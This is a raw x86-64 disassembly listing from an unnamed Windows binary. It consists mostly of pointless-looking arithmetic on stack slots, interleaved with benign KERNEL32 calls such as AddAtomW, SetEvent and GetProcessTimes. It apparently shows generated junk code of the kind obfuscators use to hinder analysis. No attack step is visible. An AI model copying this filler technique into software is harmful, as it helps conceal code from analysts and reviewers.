mov rax, qword [rsp + 0x3f20]
movzx eax, word [rax]
mov word [rsp + 0xcd4], ax
mov rax, qword [0x14018ace0]
mov rcx, qword [rsp + 0x3880]
add rcx, rax
mov rax, rcx
mov qword [0x14018be30], rax
mov rax, qword [rsp + 0x3f90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14a]
sub eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov byte [rcx], al
lea rax, [rsp + 0x202c]
mov qword [rsp + 0x4410], rax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [0x14018be7c]
and eax, ecx
mov word [rsp + 0xca8], ax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x3c0]
and eax, ecx
mov rcx, qword [rsp + 0x40d8]
mov word [rcx], ax
lea rax, [rsp + 0x43d8]
mov qword [rsp + 0x4418], rax
movsx eax, byte [rsp + 0x1ab]
movsx ecx, byte [rsp + 0x1af]
and eax, ecx
mov rcx, qword [rsp + 0x3fc8]
mov byte [rcx], al
lea rax, [rsp + 0x1ff4]
mov qword [rsp + 0x4420], rax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x4158]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc7c], ax
lea rax, [0x14018bde8]
mov qword [0x14018bf00], rax
lea rax, [rsp + 0x4360]
mov qword [rsp + 0x4428], rax
mov rax, qword [rsp + 0x3280]
movzx ecx, al
mov rax, qword [rsp + 0x4360]
sar rax, cl
mov qword [rsp + 0x3080], rax
mov rax, qword [0x14018ace0]
mov rcx, qword [rsp + 0x3de8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
lea rax, [rsp + 0xcac]
mov qword [rsp + 0x4430], rax
mov rax, qword [rsp + 0x3e28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3e48]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1b0], al
lea rax, [rsp + 0x2b08]
mov qword [rsp + 0x4438], rax
mov rax, qword [0x14018bde0]
mov ecx, dword [rsp + 0x1fd8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2010], eax
movzx eax, byte [rsp + 0x1b3]
mov rcx, qword [rsp + 0x42e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x165], al
mov eax, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x1f68]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d40], eax
movsx eax, word [rsp + 0xc90]
movsx ecx, word [rsp + 0xb58]
sar eax, cl
mov rcx, qword [0x14018be70]
mov word [rcx], ax
movzx eax, word [rsp + 0xc94]
mov rcx, qword [0x14018bef8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
movzx eax, word [rsp + 0xcc8]
mov word [rsp + 0xcd8], ax
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4130]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4088]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
add eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3d80]
mov rax, qword [rax]
mov qword [rsp + 0x4440], rax
mov eax, dword [rsp + 0x203c]
mov ecx, dword [rsp + 0x2038]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3ec0]
mov dword [rcx], eax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x4448], rax
movzx eax, word [0x14018bde8]
mov rcx, qword [rsp + 0x41f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3de8]
mov rcx, qword [rsp + 0x2ac8]
and rcx, rax
mov rax, rcx
mov qword [0x14018acf0], rax
movzx eax, word [rsp + 0xcb0]
movzx ecx, word [0x14018acfc]
sar eax, cl
mov word [rsp + 0x39c], ax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3320], rax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x4068]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3080], rax
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x4450], rax
mov rax, qword [rsp + 0x3e28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ad], al
lea rax, [rsp + 0x14a]
mov qword [rsp + 0x4458], rax
mov rax, qword [rsp + 0x4410]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x201c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2044], eax
mov rax, qword [rsp + 0x3dc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x203c]
shl eax, cl
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x3fa8]
movzx eax, word [rax]
mov word [0x14018bf08], ax
movzx ecx, word [rsp + 0xc8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc8c], ax
mov rax, qword [0x14018beb0]
movzx eax, word [rax]
mov word [rsp + 0xcdc], ax
movzx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0x4220]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3fd0]
mov word [rcx], ax
lea rax, [rsp + 0xcd0]
mov qword [rsp + 0x4460], rax
mov rax, qword [rsp + 0x43d8]
mov rcx, qword [rsp + 0x3fc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4450]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x152]
movsx ecx, byte [rsp + 0x69]
sar eax, cl
mov rcx, qword [rsp + 0x42e8]
mov byte [rcx], al
lea rax, [rsp + 0x1c3c]
mov qword [rsp + 0x4468], rax
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0xcc0]
sub eax, ecx
mov rcx, qword [rsp + 0x4058]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f94], eax
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x4470], rax
mov rax, qword [rsp + 0x4268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bdf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [0x14018be90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3de8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4028]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3880]
mov rcx, qword [rsp + 0x37e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3038], rax
mov rax, qword [rsp + 0x43e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x694]
sar eax, cl
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
lea rax, [rsp + 0x1f8c]
mov qword [rsp + 0x4478], rax
movzx eax, byte [rsp + 0x165]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x42c8]
mov byte [rcx], al
lea rax, [rsp + 0x1f90]
mov qword [rsp + 0x4480], rax
mov rax, qword [rsp + 0x4418]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e28]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4258], rax
lea rax, [rsp + 0x152]
mov qword [0x14018bf10], rax
movsx eax, word [rsp + 0xc84]
movsx ecx, word [rsp + 0xcb4]
shl eax, cl
mov rcx, qword [rsp + 0x4298]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4488], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2018], eax
lea rax, [rsp + 0xc90]
mov qword [rsp + 0x4490], rax
movzx eax, word [rsp + 0xccc]
movzx ecx, word [0x14018bdc8]
or eax, ecx
mov word [rsp + 0xa80], ax
lea rax, [rsp + 0x42d8]
mov qword [rsp + 0x4498], rax
mov rax, qword [rsp + 0x3e60]
mov rcx, qword [rsp + 0x4258]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3358], rax
mov eax, dword [0x14018be78]
mov ecx, dword [rsp + 0x2024]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2038], eax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x44a0], rax
mov rcx, qword [rsp + 0x3c90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2058], eax
movsx eax, word [rsp + 0xcc0]
movsx ecx, word [rsp + 0xcb4]
sar eax, cl
mov rcx, qword [rsp + 0x4430]
mov word [rcx], ax
mov rax, qword [rsp + 0x4018]
movzx eax, word [rax]
mov rcx, qword [0x14018be68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018ad04], ax
lea rax, [rsp + 0x42d8]
mov qword [rsp + 0x44a8], rax
movzx eax, word [rsp + 0xcd0]
movzx ecx, word [rsp + 0x618]
add eax, ecx
mov word [rsp + 0x3dc], ax
mov rax, qword [rsp + 0x4308]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3f10]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x3e90]
mov byte [rcx], al
lea rax, [rsp + 0x2044]
mov qword [rsp + 0x44b0], rax
mov rax, qword [rsp + 0x3fc0]
mov rcx, qword [rsp + 0x3d08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3ed8]
mov qword [rcx], rax
lea rax, [0x14018acdb]
mov qword [rsp + 0x44b8], rax
mov rax, qword [rsp + 0x4368]
mov rcx, qword [rsp + 0x3f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x3cc8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4398]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4020]
mov word [rcx], ax
lea rax, [rsp + 0x544]
mov qword [0x14018bf18], rax
lea rax, [rsp + 0x3f78]
mov qword [rsp + 0x44c0], rax
mov rax, qword [rsp + 0x2f10]
movzx ecx, al
mov rax, qword [rsp + 0x37e8]
sar rax, cl
mov rcx, qword [rsp + 0x44a8]
mov qword [rcx], rax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x44c8], rax
movzx eax, word [rsp + 0xcd4]
movzx ecx, word [rsp + 0xa80]
shl eax, cl
mov rcx, qword [rsp + 0x41b8]
mov word [rcx], ax
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0x44d0], rax
mov rax, qword [rsp + 0x4440]
mov rcx, qword [rsp + 0x38a0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3e60]
mov qword [rcx], rax
movsx eax, byte [0x14018acd9]
movsx ecx, byte [rsp + 0x1b0]
or eax, ecx
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0x3718]
mov qword [rsp + 0x44d8], rax
movsx eax, word [rsp + 0xc88]
mov rcx, qword [rsp + 0x3f98]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018bf08], ax
mov rax, qword [rsp + 0x43e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
sub eax, ecx
mov word [rsp + 0x3b4], ax
lea rax, [rsp + 0x154]
mov qword [rsp + 0x44e0], rax
mov eax, dword [rsp + 0x1f68]
mov ecx, dword [rsp + 0x1e80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x202c], eax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x44e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44e8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x44c0]
mov qword [rcx], rax
lea rax, [rsp + 0x2050]
mov qword [rsp + 0x44f0], rax
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0x40e8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4050]
mov byte [rcx], al
mov rax, qword [rsp + 0x3358]
mov qword [rsp + 0x44f8], rax
mov rax, qword [rsp + 0x4080]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
add eax, ecx
mov rcx, qword [rsp + 0x3f98]
mov word [rcx], ax
movzx eax, word [rsp + 0xcd0]
movzx ecx, word [rsp + 0x3c0]
sub eax, ecx
mov rcx, qword [0x14018be80]
mov word [rcx], ax
lea rcx, [rsp + 0x15818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x42d0]
mov rcx, qword [rsp + 0x3280]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3f50]
mov qword [rcx], rax
lea rax, [rsp + 0x694]
mov qword [rsp + 0x4500], rax
mov rax, qword [rsp + 0x44c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3b8]
and eax, ecx
mov word [rsp + 0xc64], ax
lea rax, [rsp + 0x40b0]
mov qword [rsp + 0x4508], rax
mov rax, qword [rsp + 0x38a0]
mov rcx, qword [rsp + 0x44f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fe8]
mov qword [rcx], rax
lea rax, [rsp + 0x1b1]
mov qword [rsp + 0x4510], rax
mov rax, qword [rsp + 0x4318]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4260]
mov qword [rsp + 0x4518], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4518]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x40a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4048]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4030]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
lea rax, [rsp + 0x42d8]
mov qword [0x14018bf20], rax
lea rax, [rsp + 0x2044]
mov qword [rsp + 0x4520], rax
movzx eax, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0x1ae]
xor eax, ecx
mov byte [rsp + 0x154], al
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x4528], rax
mov rax, qword [rsp + 0x4078]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4280]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x41f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2010]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0x4530], rax
movsx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0x3fc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b5], al
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x4538], rax
movzx eax, word [rsp + 0xcb8]
mov rcx, qword [rsp + 0x3ee0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018be68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3de8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3e40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2ac8]
sar rax, cl
mov qword [rsp + 0x3320], rax
mov rax, qword [rsp + 0x3880]
mov rcx, qword [0x14018acf0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3390], rax
mov edx, 0x41a
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x205c], eax
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc88]
sub eax, ecx
mov word [rsp + 0xb58], ax
mov rax, qword [rsp + 0x43d8]
mov qword [rsp + 0x4540], rax
mov rax, qword [rsp + 0x4480]
mov rcx, qword [rsp + 0x3f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2024], eax
movsx eax, byte [rsp + 0x1b1]
mov rcx, qword [rsp + 0x4338]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4050]
mov byte [rcx], al
lea rax, [rsp + 0x202c]
mov qword [rsp + 0x4548], rax
movzx eax, byte [rsp + 0x1b3]
movzx ecx, byte [rsp + 0x14a]
or eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov byte [rcx], al
lea rax, [rsp + 0xcbc]
mov qword [0x14018bf28], rax
movzx eax, word [rsp + 0xcb0]
movzx ecx, word [0x14018ad04]
shl eax, cl
mov word [rsp + 0xad4], ax
mov rax, qword [rsp + 0x4078]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc94]
sar eax, cl
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x34f8]
mov qword [rsp + 0x4550], rax
mov rax, qword [0x14018be48]
mov rcx, qword [rsp + 0x43d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4160]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4420]
mov ecx, dword [rsp + 0x1fd8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1ab]
and eax, ecx
mov byte [rsp + 0x167], al
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0xc6c]
and eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
movzx eax, word [rsp + 0xcd4]
mov word [rsp + 0xce0], ax
lea rax, [rsp + 0x4360]
mov qword [0x14018bf30], rax
movzx eax, word [0x14018bdc8]
movzx ecx, word [rsp + 0xcd4]
sub eax, ecx
mov rcx, qword [rsp + 0x4470]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3e70]
mov qword [rsp + 0x4558], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4558]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2f10], rax
lea rax, [rsp + 0x3f78]
mov qword [rsp + 0x4560], rax
mov rax, qword [0x14018bf10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x167]
add eax, ecx
mov rcx, qword [rsp + 0x4290]
mov byte [rcx], al
mov rax, qword [rsp + 0x4540]
mov qword [rsp + 0x4568], rax
mov eax, dword [rsp + 0x2030]
mov ecx, dword [rsp + 0x201c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [rsp + 0x14a]
cdq
idiv ecx
mov byte [rsp + 0x165], al
lea rax, [rsp + 0x2048]
mov qword [rsp + 0x4570], rax
movsx eax, word [rsp + 0xc7c]
movsx ecx, word [rsp + 0xcdc]
xor eax, ecx
mov word [0x14018be58], ax
mov rax, qword [rsp + 0x4448]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4080]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3f98]
mov word [rcx], ax
lea rax, [rsp + 0xad4]
mov qword [rsp + 0x4578], rax
mov rax, qword [rsp + 0x4280]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb0]
shl eax, cl
mov rcx, qword [rsp + 0x4578]
mov word [rcx], ax
mov rax, qword [rsp + 0x4440]
mov rcx, qword [rsp + 0x3ea8]
mov qword [rsp + 0x4580], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4580]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x44f8], rax
mov rax, qword [rsp + 0x4468]
mov rcx, qword [rsp + 0x4368]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b18], eax
mov rax, qword [0x14018bee0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4118]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x43b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x44c8]
movzx eax, word [rax]
mov word [rsp + 0xce4], ax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x4078]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4578]
mov word [rcx], ax
mov rax, qword [rsp + 0x4130]
mov rax, qword [rax]
mov rcx, qword [0x14018ace8]
sub rcx, rax
mov rax, rcx
mov qword [0x14018be90], rax
mov rax, qword [rsp + 0x44d8]
mov rcx, qword [rsp + 0x3280]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b60], rax
mov rax, qword [rsp + 0x3fb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2fc0]
sar rax, cl
mov rcx, qword [rsp + 0x41d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4130]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3080]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3de8], rax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x4588], rax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4010]
mov byte [rcx], al
mov rax, qword [rsp + 0x40c8]
mov eax, dword [rax]
mov dword [rsp + 0x2060], eax
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x4568]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x38a0], rax
mov eax, dword [rsp + 0x1fe4]
mov rcx, qword [rsp + 0x3fa0]
mov qword [rsp + 0x4590], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4590]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x99]
mov byte [0x14018bdc6], al
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0xce8], ax
mov rax, qword [rsp + 0x40f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc88]
xor eax, ecx
mov word [rsp + 0xc98], ax
mov rax, qword [rsp + 0x43b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3dc]
or eax, ecx
mov word [rsp + 0x8f4], ax
mov rax, qword [rsp + 0x2b60]
mov rcx, qword [rsp + 0x3080]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4178]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3ea8]
mov qword [rsp + 0x4598], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4598]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2e28], rax
lea rax, [rsp + 0x69]
mov qword [rsp + 0x45a0], rax
mov rax, qword [rsp + 0x4480]
mov ecx, dword [rsp + 0x2050]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3fa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b00]
movzx eax, word [rax]
mov word [rsp + 0xcec], ax
lea rax, [rsp + 0xc34]
mov qword [0x14018bf38], rax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x4360]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3320], rax
lea rax, [0x14018bee8]
mov qword [rsp + 0x45a8], rax
mov eax, dword [rsp + 0x2060]
mov ecx, dword [rsp + 0x202c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fa0], eax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0x44e0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x4180]
mov byte [rcx], al
mov rax, qword [0x14018bde0]
mov rcx, qword [rsp + 0x40a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x43d0]
mov rcx, qword [rsp + 0x4258]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f60]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rax, [rsp + 0x1b5]
mov qword [rsp + 0x45b0], rax
mov rcx, qword [rsp + 0x3ef0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x204c], eax
movsx eax, word [rsp + 0xc70]
movsx ecx, word [rsp + 0xcec]
sar eax, cl
mov rcx, qword [rsp + 0x4490]
mov word [rcx], ax
movzx eax, word [rsp + 0xcb8]
mov rcx, qword [rsp + 0x3ee0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14018ad08], ax
mov rax, qword [rsp + 0x3e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x42c0]
mov qword [rsp + 0x45b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45b8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2f10], rax
mov rax, qword [rsp + 0x3f70]
mov rax, qword [rax]
mov qword [rsp + 0x45c0], rax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc98], ax
movzx eax, word [rsp + 0x8f4]
mov word [rsp + 0xcf0], ax
movsx eax, byte [rsp + 0x1b0]
movsx ecx, byte [rsp + 0x167]
sub eax, ecx
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0x44f0]
mov rcx, qword [rsp + 0x4008]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4438]
mov rcx, qword [rsp + 0x3b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2b88], rax
mov rax, qword [rsp + 0x3f78]
movzx ecx, al
mov rax, qword [rsp + 0x3280]
sar rax, cl
mov qword [rsp + 0x2b60], rax
mov rax, qword [rsp + 0x4348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcac]
add eax, ecx
mov rcx, qword [0x14018be00]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fa4], eax
lea rax, [rsp + 0xca4]
mov qword [rsp + 0x45c8], rax
mov rax, qword [rsp + 0x4138]
mov ecx, dword [rsp + 0x1ec0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2060], eax
movzx eax, byte [rsp + 0x1b4]
movzx ecx, byte [rsp + 0xe7]
cdq
idiv ecx
mov rcx, qword [rsp + 0x3e58]
mov byte [rcx], al
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x45d0], rax
mov rax, qword [rsp + 0x41a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4510]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3e88]
mov byte [rcx], al
lea rax, [0x14018be10]
mov qword [rsp + 0x45d8], rax
lea rcx, str.Cvo_SsWPJe_MZyK3cY_897
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xcf4], ax
mov eax, dword [rsp + 0x1c3c]
mov ecx, dword [rsp + 0x2040]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x40c0]
mov dword [rcx], eax
lea rax, [rsp + 0xb58]
mov qword [rsp + 0x45e0], rax
lea rax, [rsp + 0x3b4]
mov qword [0x14018bf40], rax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x3718]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4498]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3fd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xcf0], ax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x45e8], rax
mov rax, qword [rsp + 0x42c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x44d8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
lea rax, [rsp + 0x1ad]
mov qword [rsp + 0x45f0], rax
mov rax, qword [rsp + 0x3e80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x203c]
shl eax, cl
mov dword [rsp + 0x2010], eax
mov rax, qword [rsp + 0x4408]
mov rcx, qword [rsp + 0x3d08]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4540], rax
movzx eax, word [rsp + 0xc78]
mov word [rsp + 0xcf8], ax
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4508]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018bed0]
mov qword [rcx], rax
